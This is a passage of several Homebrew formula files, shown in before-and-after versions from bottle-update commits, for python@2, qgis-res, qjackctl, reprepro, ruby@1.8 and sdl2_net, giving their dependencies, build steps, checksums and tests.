because the PYTHONPATH is evaluated after the sitecustomize.py. Many modules (e.g. PyQt4) are # built only for a specific version of Python and will fail with cryptic error messages. # In the end this means: Don't set the PYTHONPATH permanently if you use different Python versions. exit('Your PYTHONPATH points to a site-packages dir for Python 2.x but you are running Python ' + str(sys.version_info[0]) + '.x!\\n PYTHONPATH is currently: "' + str(os.environ['PYTHONPATH']) + '"\\n' + ' You should `unset PYTHONPATH` to fix this.') # Only do this for a brewed python: if os.path.realpath(sys.executable).startswith('#{rack}'): # Shuffle /Library site-packages to the end of sys.path and reject # paths in /System pre-emptively (#14712) library_site = '/Library/Python/2.7/site-packages' library_packages = [p for p in sys.path if p.startswith(library_site)] sys.path = [p for p in sys.path if not p.startswith(library_site) and not p.startswith('/System')] # .pth files have already been processed so don't use addsitedir sys.path.extend(library_packages) # the Cellar site-packages is a symlink to the HOMEBREW_PREFIX # site_packages; prefer the shorter paths long_prefix = re.compile(r'#{rack}/[0-9\._abrc]+/Frameworks/Python\.framework/Versions/2\.7/lib/python2\.7/site-packages') sys.path = [long_prefix.sub('#{site_packages}', p) for p in sys.path] # LINKFORSHARED (and python-config --ldflags) return the # full path to the lib (yes, "Python" is actually the lib, not a # dir) so that third-party software does not need to add the # -F/#{HOMEBREW_PREFIX}/Frameworks switch. try: from _sysconfigdata import build_time_vars build_time_vars['LINKFORSHARED'] = '-u _PyMac_Error #{opt_prefix}/Frameworks/Python.framework/Versions/2.7/Python' except: pass # remember: don't print here. Better to fail silently. # Set the sys.executable to use the opt_prefix sys.executable = '#{opt_bin}/python2.7' EOS end def caveats; <<~EOS Pip and setuptools have been installed. To update them pip install --upgrade pip setuptools You can install Python packages with pip install <package> They will install into the site-package directory #{site_packages} See: https://docs.brew.sh/Homebrew-and-Python EOS end test do # Check if sqlite is ok, because we build with --enable-loadable-sqlite-extensions # and it can occur that building sqlite silently fails if OSX's sqlite is used. system "#{bin}/python", "-c", "import sqlite3" # Check if some other modules import. Then the linked libs are working. system "#{bin}/python", "-c", "import Tkinter; root = Tkinter.Tk()" if OS.mac? system "#{bin}/python", "-c", "import gdbm" system bin/"pip", "list", "--format=columns" end end
################################################################################ # Maintainer: FJ Perini @fjperini # Collaborator: Nick Robison @nickrobison # Collaborator: Luis Puerto @luispuerto ################################################################################ class QgisRes < Formula include Language::Python::Virtualenv desc "Resources for QGIS" homepage "https://www.qgis.org" url "https://gist.githubusercontent.com/dakcarto/11385561/raw/e49f75ecec96ed7d6d3950f45ad3f30fe94d4fb2/pyqgis_startup.py" sha256 "385dce925fc2d29f05afd6508bc1f46ec84c0bc607cc0c8dfce78a4bb93b9c4e" version "3.6.0" bottle do root_url "https://dl.bintray.com/homebrew-osgeo/osgeo-bottles" cellar :any rebuild 2 sha256 "42e7563e1964134647321e0828896b1a722772a8da6dad3541c29411a144f0f0" => :mojave sha256 "42e7563e1964134647321e0828896b1a722772a8da6dad3541c29411a144f0f0" => :high_sierra sha256 "42e7563e1964134647321e0828896b1a722772a8da6dad3541c29411a144f0f0" => :sierra end # revision 1 # option "with-complete", "Build with others modules" # option "with-r", "Build with modules referred to R" # option "with-r-sethrfore", "Build with modules referred to R (only if you use this version)" depends_on "pkg-config" => :build depends_on "gcc" => :build # for gfortran # numpy depends_on "python" => :build depends_on "swig" => :build depends_on "lapack" depends_on "openblas" depends_on "cython" depends_on "postgresql" # psycopg2 depends_on "libyaml" # yaml depends_on "tcl-tk" # six depends_on "openjpeg" # for Pillow depends_on "zlib" # for Pillow depends_on "freetype" depends_on "dbus" depends_on "glib" depends_on "qt" depends_on "pyqt-qt5" # for rpy2 # if build.with?("r#{"-sethrfore" if build.with? "r-sethrfore"}") depends_on "gettext" depends_on "readline" depends_on "pcre" depends_on "xz" depends_on "bzip2" depends_on "libiconv" depends_on "icu4c" # end # if build.with?("complete") depends_on "swig" depends_on "libagg" depends_on "libpng" depends_on "openssl" depends_on "libssh" depends_on "qhull" depends_on "ghostscript" depends_on "cairo" depends_on "py3cairo" depends_on "libsvg-cairo" depends_on "librsvg" depends_on "svg2pdf" depends_on "gtk+3" depends_on "pygobject3" depends_on "pygobject" depends_on "pygtk" depends_on "wxpython" depends_on "ffmpeg" depends_on "imagemagick" depends_on "numpy" depends_on "scipy" depends_on "brewsci/bio/matplotlib" depends_on "gdal2-python" # gdal2: for Fiona depends_on "spatialindex" # for Rtree depends_on "hdf5" # for h5py depends_on "unixodbc" # for pyodbc depends_on "pyside" # for pyqtgraph / required llvm depends_on "freetds" # for pymssql # end # if build.with?("r") depends_on "r" # end # R with more support # https://github.com/adamhsparks/setup_macOS_for_R # fix: rpy2 requires finding R # if build.with?("r-sethrfore") # depends_on "sethrfore/r-srf/r" # end # pyqgis_startup.py # TODO: add one for Py3 (only necessary when macOS ships a Python3 or 3rd-party isolation is needed) resource "numpy" do url "https://files.pythonhosted.org/packages/2b/26/07472b0de91851b6656cbc86e2f0d5d3a3128e7580f23295ef58b6862d6c/numpy-1.16.1.zip" sha256 "31d3fe5b673e99d33d70cfee2ea8fe8dccd60f265c3ed990873a88647e3dd288" end resource "scipy" do url "https://files.pythonhosted.org/packages/a9/b4/5598a706697d1e2929eaf7fe68898ef4bea76e4950b9efbe1ef396b8813a/scipy-1.2.1.tar.gz" sha256 "e085d1babcb419bbe58e2e805ac61924dac4ca45a07c9fa081144739e500aa3c" end # resource "matplotlib" do # url "https://files.pythonhosted.org/packages/89/0c/653aec68e9cfb775c4fbae8f71011206e5e7fe4d60fcf01ea1a9d3bc957f/matplotlib-3.0.2.tar.gz" # sha256 "c94b792af431f6adb6859eb218137acd9a35f4f7442cea57e4a59c54751c36af" # end def install # install python environment venv = virtualenv_create(libexec/'vendor', "#{Formula["python"].opt_bin}/python3") py_ver = Language::Python.major_minor_version "#{libexec}/vendor/bin/python3" # fix pip._vendor.pep517.wrappers.BackendUnavailable system libexec/"vendor/bin/pip3", "install", "--upgrade", "-v", "setuptools", "pip<19.0.0", "wheel" res_required = ['requests', 'six', 'future', 'Sphinx', 'setuptools-scm', 'chardet', 'idna', 'urllib3', 'PySocks', 'Pillow', 'cycler', \ 'kiwisolver', 'tornado', 'Unidecode', 'pyparsing', 'MarkupSafe', 'nose', 'Cython', 'python-dateutil', 'pyproj', 'pytz', 'Jinja2', 'OWSLib', \ 'psycopg2', 'Pygments', 'PyYAML', "dbus-python", "PyOpenGL", 'certifi', 'funcsigs', 'coverage', 'mock', 'pbr', 'termcolor', 'oauthlib', 'pyOpenSSL', 'httplib2'] res_required.each do |r| venv.pip_install r end resource("numpy").stage do openblas = Formula["openblas"].opt_prefix ENV["ATLAS"] = "None" # avoid linking against Accelerate.framework ENV["BLAS"] = ENV["LAPACK"] = "#{openblas}/lib/libopenblas.dylib" config = <<~EOS [openblas] libraries = openblas library_dirs = #{openblas}/lib include_dirs = #{openblas}/include EOS Pathname("site.cfg").write config system "#{libexec}/vendor/bin/python3", "setup.py", "build", "--fcompiler=gnu95", "--parallel=#{ENV.make_jobs}", "install", "--prefix=#{libexec}/vendor", "--single-version-externally-managed", "--record=installed.txt" end resource("scipy").stage do openblas = Formula["openblas"].opt_prefix ENV["ATLAS"] = "None" # avoid linking against Accelerate.framework ENV["BLAS"] = ENV["LAPACK"] = "#{openblas}/lib/libopenblas.dylib" config = <<~EOS [DEFAULT] library_dirs = #{HOMEBREW_PREFIX}/lib include_dirs = #{HOMEBREW_PREFIX}/include [openblas] libraries = openblas library_dirs = #{openblas}/lib include_dirs = #{openblas}/include EOS Pathname("site.cfg").write config system "#{libexec}/vendor/bin/python3", "setup.py", "build", "--fcompiler=gnu95", "install", "--prefix=#{libexec}/vendor" # cleanup leftover .pyc files from previous installs which can cause problems # see https://github.com/Homebrew/homebrew-python/issues/185#issuecomment-67534979 rm_f Dir["#{libexec}/vendor/lib/python*.*/site-packages/scipy/**/*.pyc"] end # resource("matplotlib").stage do # if DevelopmentTools.clang_build_version >= 900 # ENV.delete "SDKROOT" # ENV.delete "HOMEBREW_SDKROOT" # end # # inreplace "setupext.py", # "'darwin': ['/usr/local/'", # "'darwin': ['#{HOMEBREW_PREFIX}'" # # system "#{libexec}/vendor/bin/python3", "setup.py", # "install", "--prefix=#{libexec}/vendor" # end # if build.with?("complete") res_optional = ['argparse', 'asn1crypto', 'atlas', 'backports.functools_lru_cache', 'beautifulsoup4', 'blosc', 'bottleneck', \ 'cffi', 'cryptography', 'decorator', 'descartes', 'ExifRead', 'Fiona', 'geopandas', 'geopy', 'geos', 'gitdb', 'gitdb2', 'GitPython', \ 'gnm', 'h5py', 'ipython', 'ipython_genutils', 'jsonschema', 'jupyter', 'jupyter_core', 'lidar', 'lxml', 'mpmath', 'nbformat', \ 'networkx', 'nltk', 'nose2', 'numexpr', 'olefile', 'openpyxl', 'palettable', 'pandas', 'pandas_oracle', 'pandas-datareader', 'pgi', \ 'plotly', 'ply', 'pubsub', 'py-postgresql', 'py2oracle', 'pycparser', 'pymssql', 'PyMySQL', 'pyodbc', 'PyPubSub', \ 'pyqtgraph', 'Pyro4', 'PySAL', 'pytest', 'pytils', 'qtpy', 'retrying', 'Rtree', 'scikit-learn', 'seaborn', 'Shapely', 'simplejson', 'smmap', \ 'smmap2', 'sqlalchemy', 'statsmodels', 'subprocess32', 'sympy', 'test', 'tools', 'traitlets', 'whitebox', 'xlrd', 'xlsxwriter', 'xlwt'] # others: gmt-python, pytables res_optional.each do |r| venv.pip_install r end # end # if build.with?("r#{"-sethrfore" if build.with? "r-sethrfore"}") res_r = ['rpy2', 'sphinxcontrib-websupport'] res_r.each do |r| venv.pip_install r end # fix ModuleNotFoundError: No module named 'pip.req' system libexec/"vendor/bin/pip3", "install", "--upgrade", "-v", "setuptools", "pip==9.0.3", "wheel" venv.pip_install "pyRscript" # end # upgrade pip system libexec/"vendor/bin/pip3", "install", "--upgrade", "-v", "setuptools", "pip", "wheel" cp_r "#{buildpath}/pyqgis_startup.py", "#{libexec}" end def caveats s = <<~EOS This formula was created to have more Python modules and save time using the generated bottle. It is not necessary to build each time a new version or revision of the QGIS formula is generated. It will only be updated if necessary, although you can choose to update modules if you wish, just remember that you will need to build QGIS again. EOS # if build.without?("r") && build.with?("r-sethrfore") # s += <<~EOS # You can use the \e[32m--with-r\e[0m flag to install modules associated with R. # # EOS # end # # if build.with?("r") # s += <<~EOS # You can use the \e[32m--with-r-sethrfore\e[0m flag to install modules associated with R, with more support (only if you use this version). # # EOS # end # # if build.without?("complete") # s += <<~EOS # You can use the \e[32m--with-complete\e[0m flag to install more modules. # # \033[31mThis is highly recommended if you will install QGIS with optional support.\e[0m # # EOS # end s end test do # TODO end end Updated bottles for: qgis-res Committed for JF Perini<21315242+fjperini@users.noreply.github.com> [ci skip] ################################################################################ # Maintainer: FJ Perini @fjperini # Collaborator: Nick Robison @nickrobison # Collaborator: Luis Puerto @luispuerto ################################################################################ class QgisRes < Formula include Language::Python::Virtualenv desc "Resources for QGIS" homepage "https://www.qgis.org" url "https://gist.githubusercontent.com/dakcarto/11385561/raw/e49f75ecec96ed7d6d3950f45ad3f30fe94d4fb2/pyqgis_startup.py" sha256 "385dce925fc2d29f05afd6508bc1f46ec84c0bc607cc0c8dfce78a4bb93b9c4e" version "3.6.0" bottle do root_url "https://dl.bintray.com/homebrew-osgeo/osgeo-bottles" cellar :any sha256 "2ad552dbcecbf7b7463c222719bd3ae42b58f888f8f7411fd4b02504f8cb6d1f" => :mojave sha256 "2ad552dbcecbf7b7463c222719bd3ae42b58f888f8f7411fd4b02504f8cb6d1f" => :high_sierra sha256 "86e100d0a757f9b2314dc2c61e842c9446a0d0cfbc69b3408dab4bf046641c14" => :sierra end # revision 1 # option "with-complete", "Build with others modules" # option "with-r", "Build with modules referred to R" # option "with-r-sethrfore", "Build with modules referred to R (only if you use this version)" depends_on "pkg-config" => :build depends_on "gcc" => :build # for gfortran # numpy depends_on "python" => :build depends_on "swig" => :build depends_on "lapack" depends_on "openblas" depends_on "cython" depends_on "postgresql" # psycopg2 depends_on "libyaml" # yaml depends_on "tcl-tk" # six depends_on "openjpeg" # for Pillow depends_on "zlib" # for Pillow depends_on "freetype" depends_on "dbus" depends_on "glib" depends_on "qt" depends_on "pyqt-qt5" # for rpy2 # if build.with?("r#{"-sethrfore" if build.with? "r-sethrfore"}") depends_on "gettext" depends_on "readline" depends_on "pcre" depends_on "xz" depends_on "bzip2" depends_on "libiconv" depends_on "icu4c" # end # if build.with?("complete") depends_on "swig" depends_on "libagg" depends_on "libpng" depends_on "openssl" depends_on "libssh" depends_on "qhull" depends_on "ghostscript" depends_on "cairo" depends_on "py3cairo" depends_on "libsvg-cairo" depends_on "librsvg" depends_on "svg2pdf" depends_on "gtk+3" depends_on "pygobject3" depends_on "pygobject" depends_on "pygtk" depends_on "wxpython" depends_on "ffmpeg" depends_on "imagemagick" depends_on "numpy" depends_on "scipy" depends_on "brewsci/bio/matplotlib" depends_on "gdal2-python" # gdal2: for Fiona depends_on "spatialindex" # for Rtree depends_on "hdf5" # for h5py depends_on "unixodbc" # for pyodbc depends_on "pyside" # for pyqtgraph / required llvm depends_on "freetds" # for pymssql # end # if build.with?("r") depends_on "r" # end # R with more support # https://github.com/adamhsparks/setup_macOS_for_R # fix: rpy2 requires finding R # if build.with?("r-sethrfore") # depends_on "sethrfore/r-srf/r" # end # pyqgis_startup.py # TODO: add one for Py3 (only necessary when macOS ships a Python3 or 3rd-party isolation is needed) resource "numpy" do url "https://files.pythonhosted.org/packages/2b/26/07472b0de91851b6656cbc86e2f0d5d3a3128e7580f23295ef58b6862d6c/numpy-1.16.1.zip" sha256 "31d3fe5b673e99d33d70cfee2ea8fe8dccd60f265c3ed990873a88647e3dd288" end resource "scipy" do url "https://files.pythonhosted.org/packages/a9/b4/5598a706697d1e2929eaf7fe68898ef4bea76e4950b9efbe1ef396b8813a/scipy-1.2.1.tar.gz" sha256 "e085d1babcb419bbe58e2e805ac61924dac4ca45a07c9fa081144739e500aa3c" end # resource "matplotlib" do # url "https://files.pythonhosted.org/packages/89/0c/653aec68e9cfb775c4fbae8f71011206e5e7fe4d60fcf01ea1a9d3bc957f/matplotlib-3.0.2.tar.gz" # sha256 "c94b792af431f6adb6859eb218137acd9a35f4f7442cea57e4a59c54751c36af" # end def install # install python environment venv = virtualenv_create(libexec/'vendor', "#{Formula["python"].opt_bin}/python3") py_ver = Language::Python.major_minor_version "#{libexec}/vendor/bin/python3" # fix pip._vendor.pep517.wrappers.BackendUnavailable system libexec/"vendor/bin/pip3", "install", "--upgrade", "-v", "setuptools", "pip<19.0.0", "wheel" res_required = ['requests', 'six', 'future', 'Sphinx', 'setuptools-scm', 'chardet', 'idna', 'urllib3', 'PySocks', 'Pillow', 'cycler', \ 'kiwisolver', 'tornado', 'Unidecode', 'pyparsing', 'MarkupSafe', 'nose', 'Cython', 'python-dateutil', 'pyproj', 'pytz', 'Jinja2', 'OWSLib', \ 'psycopg2', 'Pygments', 'PyYAML', "dbus-python", "PyOpenGL", 'certifi', 'funcsigs', 'coverage', 'mock', 'pbr', 'termcolor', 'oauthlib', 'pyOpenSSL', 'httplib2'] res_required.each do |r| venv.pip_install r end resource("numpy").stage do openblas = Formula["openblas"].opt_prefix ENV["ATLAS"] = "None" # avoid linking against Accelerate.framework ENV["BLAS"] = ENV["LAPACK"] = "#{openblas}/lib/libopenblas.dylib" config = <<~EOS [openblas] libraries = openblas library_dirs = #{openblas}/lib include_dirs = #{openblas}/include EOS Pathname("site.cfg").write config system "#{libexec}/vendor/bin/python3", "setup.py", "build", "--fcompiler=gnu95", "--parallel=#{ENV.make_jobs}", "install", "--prefix=#{libexec}/vendor", "--single-version-externally-managed", "--record=installed.txt" end resource("scipy").stage do openblas = Formula["openblas"].opt_prefix ENV["ATLAS"] = "None" # avoid linking against Accelerate.framework ENV["BLAS"] = ENV["LAPACK"] = "#{openblas}/lib/libopenblas.dylib" config = <<~EOS [DEFAULT] library_dirs = #{HOMEBREW_PREFIX}/lib include_dirs = #{HOMEBREW_PREFIX}/include [openblas] libraries = openblas library_dirs = #{openblas}/lib include_dirs = #{openblas}/include EOS Pathname("site.cfg").write config system "#{libexec}/vendor/bin/python3", "setup.py", "build", "--fcompiler=gnu95", "install", "--prefix=#{libexec}/vendor" # cleanup leftover .pyc files from previous installs which can cause problems # see https://github.com/Homebrew/homebrew-python/issues/185#issuecomment-67534979 rm_f Dir["#{libexec}/vendor/lib/python*.*/site-packages/scipy/**/*.pyc"] end # resource("matplotlib").stage do # if DevelopmentTools.clang_build_version >= 900 # ENV.delete "SDKROOT" # ENV.delete "HOMEBREW_SDKROOT" # end # # inreplace "setupext.py", # "'darwin': ['/usr/local/'", # "'darwin': ['#{HOMEBREW_PREFIX}'" # # system "#{libexec}/vendor/bin/python3", "setup.py", # "install", "--prefix=#{libexec}/vendor" # end # if build.with?("complete") res_optional = ['argparse', 'asn1crypto', 'atlas', 'backports.functools_lru_cache', 'beautifulsoup4', 'blosc', 'bottleneck', \ 'cffi', 'cryptography', 'decorator', 'descartes', 'ExifRead', 'Fiona', 'geopandas', 'geopy', 'geos', 'gitdb', 'gitdb2', 'GitPython', \ 'gnm', 'h5py', 'ipython', 'ipython_genutils', 'jsonschema', 'jupyter', 'jupyter_core', 'lidar', 'lxml', 'mpmath', 'nbformat', \ 'networkx', 'nltk', 'nose2', 'numexpr', 'olefile', 'openpyxl', 'palettable', 'pandas', 'pandas_oracle', 'pandas-datareader', 'pgi', \ 'plotly', 'ply', 'pubsub', 'py-postgresql', 'py2oracle', 'pycparser', 'pymssql', 'PyMySQL', 'pyodbc', 'PyPubSub', \ 'pyqtgraph', 'Pyro4', 'PySAL', 'pytest', 'pytils', 'qtpy', 'retrying', 'Rtree', 'scikit-learn', 'seaborn', 'Shapely', 'simplejson', 'smmap', \ 'smmap2', 'sqlalchemy', 'statsmodels', 'subprocess32', 'sympy', 'test', 'tools', 'traitlets', 'whitebox', 'xlrd', 'xlsxwriter', 'xlwt'] # others: gmt-python, pytables res_optional.each do |r| venv.pip_install r end # end # if build.with?("r#{"-sethrfore" if build.with? "r-sethrfore"}") res_r = ['rpy2', 'sphinxcontrib-websupport'] res_r.each do |r| venv.pip_install r end # fix ModuleNotFoundError: No module named 'pip.req' system libexec/"vendor/bin/pip3", "install", "--upgrade", "-v", "setuptools", "pip==9.0.3", "wheel" venv.pip_install "pyRscript" # end # upgrade pip system libexec/"vendor/bin/pip3", "install", "--upgrade", "-v", "setuptools", "pip", "wheel" cp_r "#{buildpath}/pyqgis_startup.py", "#{libexec}" end def caveats s = <<~EOS This formula was created to have more Python modules and save time using the generated bottle. It is not necessary to build each time a new version or revision of the QGIS formula is generated. It will only be updated if necessary, although you can choose to update modules if you wish, just remember that you will need to build QGIS again. EOS # if build.without?("r") && build.with?("r-sethrfore") # s += <<~EOS # You can use the \e[32m--with-r\e[0m flag to install modules associated with R. # # EOS # end # # if build.with?("r") # s += <<~EOS # You can use the \e[32m--with-r-sethrfore\e[0m flag to install modules associated with R, with more support (only if you use this version). # # EOS # end # # if build.without?("complete") # s += <<~EOS # You can use the \e[32m--with-complete\e[0m flag to install more modules. # # \033[31mThis is highly recommended if you will install QGIS with optional support.\e[0m # # EOS # end s end test do # TODO end end
class Qjackctl < Formula desc "Simple Qt application to control the JACK sound server daemon" homepage "https://qjackctl.sourceforge.io/" url "https://downloads.sourceforge.net/qjackctl/qjackctl-0.5.1.tar.gz" sha256 "446f1ddc3d75b48462da3a467293a49a72c8a89063cbd6b4b75d620231d1814b" head "https://git.code.sf.net/p/qjackctl/code.git" bottle do sha256 "00a9841ed8fdaf1b6e52b54e1ee1711ca2737485175d84480a0dc848e356f4a6" => :high_sierra sha256 "27a7963a4c5e9a5cbf844f0284064a28e3b275c843a703c99e8a161d4260dda1" => :sierra sha256 "9d4e866c9eaecc6301c4b715eb807893c87df9ad9a680cc70fa16d9b62412885" => :el_capitan end depends_on "pkg-config" => :build depends_on "qt" depends_on "jack" needs :cxx11 def install ENV.cxx11 system "./configure", "--disable-debug", "--disable-dbus", "--disable-portaudio", "--disable-xunique", "--prefix=#{prefix}", "--with-jack=#{Formula["jack"].opt_prefix}", "--with-qt5=#{Formula["qt"].opt_prefix}" system "make", "install" prefix.install bin/"qjackctl.app" bin.install_symlink prefix/"qjackctl.app/Contents/MacOS/qjackctl" end test do assert_match version.to_s, shell_output("#{bin}/qjackctl --version 2>&1", 1) end end qjackctl: update 0.5.1 bottle. class Qjackctl < Formula desc "Simple Qt application to control the JACK sound server daemon" homepage "https://qjackctl.sourceforge.io/" url "https://downloads.sourceforge.net/qjackctl/qjackctl-0.5.1.tar.gz" sha256 "446f1ddc3d75b48462da3a467293a49a72c8a89063cbd6b4b75d620231d1814b" head "https://git.code.sf.net/p/qjackctl/code.git" bottle do sha256 "069d8a4e715e0b1c3c54c763ca0ecd8dcb506b01ee9fe30f0a231766b4d601b5" => :high_sierra sha256 "f776de566a4308d23ea9a6e9b1ca659fc7d775c81db1fa5224dfa7044c4a47db" => :sierra sha256 "c1df5a396134f2d13c9dc456cd2ce1ed8b9fb71b7120bcd02e5ae98c5b72932c" => :el_capitan end depends_on "pkg-config" => :build depends_on "qt" depends_on "jack" needs :cxx11 def install ENV.cxx11 system "./configure", "--disable-debug", "--disable-dbus", "--disable-portaudio", "--disable-xunique", "--prefix=#{prefix}", "--with-jack=#{Formula["jack"].opt_prefix}", "--with-qt5=#{Formula["qt"].opt_prefix}" system "make", "install" prefix.install bin/"qjackctl.app" bin.install_symlink prefix/"qjackctl.app/Contents/MacOS/qjackctl" end test do assert_match version.to_s, shell_output("#{bin}/qjackctl --version 2>&1", 1) end end
class Reprepro < Formula desc "Debian package repository manager" homepage "https://salsa.debian.org/brlink/reprepro" url "https://deb.debian.org/debian/pool/main/r/reprepro/reprepro_5.3.0.orig.tar.gz" sha256 "5a5404114b43a2d4ca1f8960228b1db32c41fb55de1996f62bc1b36001f3fab4" revision 1 bottle do cellar :any sha256 "0fe440a480fa2c723af48142ca77b2cc5fb733ba5e20c011f90c11a0a1f221a0" => :mojave sha256 "dfeae3f34e3cf85ed2a5242f2b692a647935b78bae036398e02595448eb82e69" => :high_sierra sha256 "6ab79c20ca3f9fc1d020edcc6909af83346501656a9918e0dee1d2b9ee260016" => :sierra end depends_on "berkeley-db@4" depends_on "gcc" depends_on "gpgme" depends_on "libarchive" depends_on "xz" fails_with :clang do cause "No support for GNU C nested functions" end def install system "./configure", "--disable-debug", "--disable-dependency-tracking", "--disable-silent-rules", "--prefix=#{prefix}", "--with-gpgme=#{Formula["gpgme"].opt_lib}", "--with-libarchive=#{Formula["libarchive"].opt_lib}", "--with-libbz2=yes", "--with-liblzma=#{Formula["xz"].opt_lib}" system "make", "install" end test do (testpath/"conf"/"distributions").write <<~EOF Codename: test_codename Architectures: source Components: main EOF system bin/"reprepro", "-b", testpath, "list", "test_codename" end end reprepro: update 5.3.0_1 bottle. class Reprepro < Formula desc "Debian package repository manager" homepage "https://salsa.debian.org/brlink/reprepro" url "https://deb.debian.org/debian/pool/main/r/reprepro/reprepro_5.3.0.orig.tar.gz" sha256 "5a5404114b43a2d4ca1f8960228b1db32c41fb55de1996f62bc1b36001f3fab4" revision 1 bottle do cellar :any sha256 "6c95891ff569737d0b636f74456b3194571b4b3b5ef3e781dde572317f58e941" => :catalina sha256 "0fe440a480fa2c723af48142ca77b2cc5fb733ba5e20c011f90c11a0a1f221a0" => :mojave sha256 "dfeae3f34e3cf85ed2a5242f2b692a647935b78bae036398e02595448eb82e69" => :high_sierra sha256 "6ab79c20ca3f9fc1d020edcc6909af83346501656a9918e0dee1d2b9ee260016" => :sierra end depends_on "berkeley-db@4" depends_on "gcc" depends_on "gpgme" depends_on "libarchive" depends_on "xz" fails_with :clang do cause "No support for GNU C nested functions" end def install system "./configure", "--disable-debug", "--disable-dependency-tracking", "--disable-silent-rules", "--prefix=#{prefix}", "--with-gpgme=#{Formula["gpgme"].opt_lib}", "--with-libarchive=#{Formula["libarchive"].opt_lib}", "--with-libbz2=yes", "--with-liblzma=#{Formula["xz"].opt_lib}" system "make", "install" end test do (testpath/"conf"/"distributions").write <<~EOF Codename: test_codename Architectures: source Components: main EOF system bin/"reprepro", "-b", testpath, "list", "test_codename" end end
class RubyAT18 < Formula desc "Powerful, clean, object-oriented scripting language" homepage "https://www.ruby-lang.org/" url "https://cache.ruby-lang.org/pub/ruby/1.8/ruby-1.8.7-p374.tar.bz2" sha256 "b4e34703137f7bfb8761c4ea474f7438d6ccf440b3d35f39cc5e4d4e239c07e3" revision 4 bottle do sha256 "028a474aad330d68cb05970f5587e30d98a6442dc847d30371c9dc4dfac3a9f8" => :high_sierra sha256 "cde0dd03d2eeaa2d9e98f7b0ca88c1f362049f3de5b631ff9ca87d64360fe641" => :sierra sha256 "d8993792dd522fe5977604d704337bf9845447db9d0274a173b16b7290d24ebf" => :el_capitan end keg_only :versioned_formula depends_on "pkg-config" => :build depends_on "openssl" depends_on "readline" def install # Compilation with `superenv` breaks because the Ruby build system sets # `RUBYLIB` and `RUBYOPT` and this disturbs the wrappers for `cc` and # `clang` that are provided by Homebrew and are implemented in Ruby. We # prefix those invocations with `env` to clean the environment for us. scrub_env = "/usr/bin/env RUBYLIB= RUBYOPT=" inreplace "mkconfig.rb", " if /^prefix$/ =~ name\n", <<~EOS.gsub(/^/, " ") # `env` removes stuff that will break `superenv`. if %w[CC CPP LDSHARED LIBRUBY_LDSHARED].include?(name) val = val.sub("\\"", "\\"#{scrub_env} ") end if /^prefix$/ =~ name EOS rm_r "ext/tk" args = %W[ --prefix=#{prefix} --enable-shared --enable-install-doc ] system "./configure", *args system "make" system "make", "install" system "make", "install-doc" end test do hello_text = shell_output("#{bin}/ruby -e 'puts :hello'") assert_equal "hello\n", hello_text system "#{bin}/ruby", "-e", "require 'zlib'" end end ruby@1.8: update 1.8.7-p374_4 bottle. class RubyAT18 < Formula desc "Powerful, clean, object-oriented scripting language" homepage "https://www.ruby-lang.org/" url "https://cache.ruby-lang.org/pub/ruby/1.8/ruby-1.8.7-p374.tar.bz2" sha256 "b4e34703137f7bfb8761c4ea474f7438d6ccf440b3d35f39cc5e4d4e239c07e3" revision 4 bottle do sha256 "34ac66b428a1fd4da537d73c9b05217e9bcddd61f1a9f2de313c737eca86d49c" => :mojave sha256 "028a474aad330d68cb05970f5587e30d98a6442dc847d30371c9dc4dfac3a9f8" => :high_sierra sha256 "cde0dd03d2eeaa2d9e98f7b0ca88c1f362049f3de5b631ff9ca87d64360fe641" => :sierra sha256 "d8993792dd522fe5977604d704337bf9845447db9d0274a173b16b7290d24ebf" => :el_capitan end keg_only :versioned_formula depends_on "pkg-config" => :build depends_on "openssl" depends_on "readline" def install # Compilation with `superenv` breaks because the Ruby build system sets # `RUBYLIB` and `RUBYOPT` and this disturbs the wrappers for `cc` and # `clang` that are provided by Homebrew and are implemented in Ruby. We # prefix those invocations with `env` to clean the environment for us. scrub_env = "/usr/bin/env RUBYLIB= RUBYOPT=" inreplace "mkconfig.rb", " if /^prefix$/ =~ name\n", <<~EOS.gsub(/^/, " ") # `env` removes stuff that will break `superenv`. if %w[CC CPP LDSHARED LIBRUBY_LDSHARED].include?(name) val = val.sub("\\"", "\\"#{scrub_env} ") end if /^prefix$/ =~ name EOS rm_r "ext/tk" args = %W[ --prefix=#{prefix} --enable-shared --enable-install-doc ] system "./configure", *args system "make" system "make", "install" system "make", "install-doc" end test do hello_text = shell_output("#{bin}/ruby -e 'puts :hello'") assert_equal "hello\n", hello_text system "#{bin}/ruby", "-e", "require 'zlib'" end end
class Sdl2Net < Formula desc "Small sample cross-platform networking library" homepage "https://www.libsdl.org/projects/SDL_net/" url "https://www.libsdl.org/projects/SDL_net/release/SDL2_net-2.0.1.tar.gz" sha256 "15ce8a7e5a23dafe8177c8df6e6c79b6749a03fff1e8196742d3571657609d21" bottle do cellar :any sha256 "f193c7c2ae1b7f2c82cbbc9b83a16fc72d845c6396ecd33644eea19695a850ee" => :high_sierra sha256 "dc2b96762f77dd4d42fea1da4d4c2373692dd0a531f686f00de0dd4a6eed8df9" => :sierra sha256 "46d189ebe1f240381a9e8d99a2cb249e577cec98e6399e741e47275735a3471c" => :el_capitan sha256 "2e2bcc1e1aac84b37ebb44398e463d9004764aa369489926cd07bb97cb9f60c4" => :yosemite sha256 "ebabcb8f4df6fdee7855a6e19080aea42d9909205b287312015179bb9b3f472a" => :mavericks end depends_on "pkg-config" => :build depends_on "sdl2" def install inreplace "SDL2_net.pc.in", "@prefix@", HOMEBREW_PREFIX system "./configure", "--disable-dependency-tracking", "--prefix=#{prefix}", "--disable-sdltest" system "make", "install" end test do (testpath/"test.c").write <<~EOS #include <SDL2/SDL_net.h> int main() { int success = SDLNet_Init(); SDLNet_Quit(); return success; } EOS system ENV.cc, "-L#{lib}", "-lsdl2_net", "test.c", "-o", "test" system "./test" end end sdl2_net: update 2.0.1 bottle. class Sdl2Net < Formula desc "Small sample cross-platform networking library" homepage "https://www.libsdl.org/projects/SDL_net/" url "https://www.libsdl.org/projects/SDL_net/release/SDL2_net-2.0.1.tar.gz" sha256 "15ce8a7e5a23dafe8177c8df6e6c79b6749a03fff1e8196742d3571657609d21" bottle do cellar :any sha256 "0631754a7016b3e6e175644cc7976cc22843f7b872e8f50662d0cb50a4264901" => :mojave sha256 "f193c7c2ae1b7f2c82cbbc9b83a16fc72d845c6396ecd33644eea19695a850ee" => :high_sierra sha256 "dc2b96762f77dd4d42fea1da4d4c2373692dd0a531f686f00de0dd4a6eed8df9" => :sierra sha256 "46d189ebe1f240381a9e8d99a2cb249e577cec98e6399e741e47275735a3471c" => :el_capitan sha256 "2e2bcc1e1aac84b37ebb44398e463d9004764aa369489926cd07bb97cb9f60c4" => :yosemite sha256 